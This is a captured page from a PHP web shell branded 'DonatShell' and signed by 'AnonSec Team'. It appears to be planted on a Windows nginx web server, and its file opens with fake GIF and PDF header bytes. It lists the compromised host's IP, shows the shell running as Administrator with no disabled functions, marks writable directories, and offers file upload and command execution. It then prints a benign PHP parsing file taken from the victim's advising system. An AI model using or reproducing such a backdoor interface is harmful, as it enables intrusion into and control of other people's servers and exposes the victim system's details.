GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Advising/ParseClasses/parse/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Advising/ParseClasses/parse/parse_functions.phpinc
<?
// Admin/Advising/ParseClasses/parse/parse_functions.phpinc
// Contains the Parse functions.

#setDebugOn();
$_SESSION['Message'] = '';

$error = false;

#$DEBUG_Parsefunctions = true;
if ( !isset($DEBUG_Parsefunctions) ) $DEBUG_Parsefunctions = false;

// dump($lineCount)
// Dump the next lineCount lines.
function dump($lineCount) {
	global $ln;
	global $lnA;
	global $lnAsize;
	global $index;
	global $state;
	$count = 0;
	d_On(); // Uncomment to DEBUG.
	$backtrace = debug_backtrace(); // Get caller information.
	#d_Var('$backtrace',$backtrace);
	d_Line('********************************************* BEGIN DUMP *********************************************','/l');
	d_Line('Called by '.basename($backtrace[0]['file']).':'.$backtrace[0]['line'].'. $state == '.$state.'.','l');
	d_Var('$state',$state);
	while ( $count < $lineCount && get_ln() ) {
		d_Var($index.': $ln',$ln,'l'); d_Var('$lnAsize',$lnAsize,'l'); d_Var('$lnA',$lnA,'l');
		$count++;
	}
	d_Line('********************************************** END DUMP **********************************************','l');
	exit;
}

// fix_date_year($date)
// Fix date mm/dd/yy or mm/dd/yyyy to yyyy-mm-dd.
// $date = A date in mm/dd/yy or mm/dd/yyyy format.
function fix_date_year($date) {
	$fix_date_year = explode('/',$date);
	if ( strlen($fix_date_year[2]) == 2 ) {
		// Two digit year. Convert to four digit year.
		if ( $fix_date_year[2] > 80 ) {
			$fix_date_year[2] = '19'.$fix_date_year[2];
		} else {
			$fix_date_year[2] = '20'.$fix_date_year[2];
		}
	}
	$fix_date_year = $fix_date_year[2].'-'.$fix_date_year[0].'-'.$fix_date_year[1];
	return $fix_date_year;
}

// get_ln()
// Returns true if there is a new non-blank line in the  report ($lines).
// Sets:      $ln = The dars line.
//           $lnA = An array with the  line parsed into tokens (white space, comma, and colon delimited).
//       $lnAsize = The size of the $lnA array.
// Note: $lnCount must contain the size of the $lines array.
//             $error must be false.
//               $index nust contain the index into the $lines array.
//       An $error will be set and the $state changed to 99 if the end of the $lines array is exceeded.
function get_ln() {
	global $lines;
	global $ln;
	global $lnA;
	global $lnAsize;
	global $lnCount;
	global $error;
	global $index;
	global $state;
	global $lnOK;
	$blankLine = true;
	while ( !$error && $blankLine ) {
		$index++;
		if ( $index < $lnCount ) {
			#$ln = rtrim(str_replace(array('Triangle pointing down.','Triangle pointing right.'),'',$lines[$index])); // Remove 'Triangle pointing down.' & 'Triangle pointing right.'
			$ln = rtrim($lines[$index]);
			#d_Var('$ln',$ln);
			if ( trim($ln) != '' && substr(trim($ln),0,1) != '#' && !in_ln('Printer Friendly') ) {
				#d_Var('$ln',$ln);
				$blankLine = false;
				#$lnA = preg_split("/[\s:,]+/",trim($ln));
				$lnA = preg_split("/[\s,]+/",trim($ln));
				$lnAsize = count($lnA);
				$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line'];
				#if ( $state == 30 ) echo $index.': '.$ln.' <span class="pv_fl">'.basename($file).":".$line."</span><br>\n";
				$lnOK = true;
				#d_Var("$index of $lnCount $lnOK: \$ln",$ln,'ai');
				return $lnOK;
			}
		} else {
			#d_Line('END OF TEXT.','e');
			#$error = 'Parse past end of .<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
			set_state(99);
			#$lines[$index] = false;
			#$ln = '';
			#$lnA = array();
			#$lnAsize = 0;
			$lnOK = false;
			return $lnOK;
		}
	}
}

// in_ln($string)
// Checks to see if the $string is in $ln.
// $string = The string to check for.
function in_ln($string) {
	global $ln;
	if (strstr($ln,$string)) { return true; } else { return false; }
}

// set_state($value)
// Sets $statePrevious to the current state.
// Sets $state to $value.
function set_state($value) {
	global $state;
	global $statePrevious;
	$statePrevious = $state;
	$state = twoDigit($value);
	return;
}

// valid_date($date)
// Verify a date in mm/dd/yy or mm/dd/yyyy format.
// $date = The date to be verified.
/* * /
function valid_date($date) {
	$splitDate=explode("/",$date); // splitting the array
	if( !isset($splitDate[1]) || !isset($splitDate[2]) || !checkdate($splitDate[0],$splitDate[1],$splitDate[2])){
		return false;
	} else {
		return $date;
	} 
}
/* */

?>

Anon7 - 2022
AnonSec Team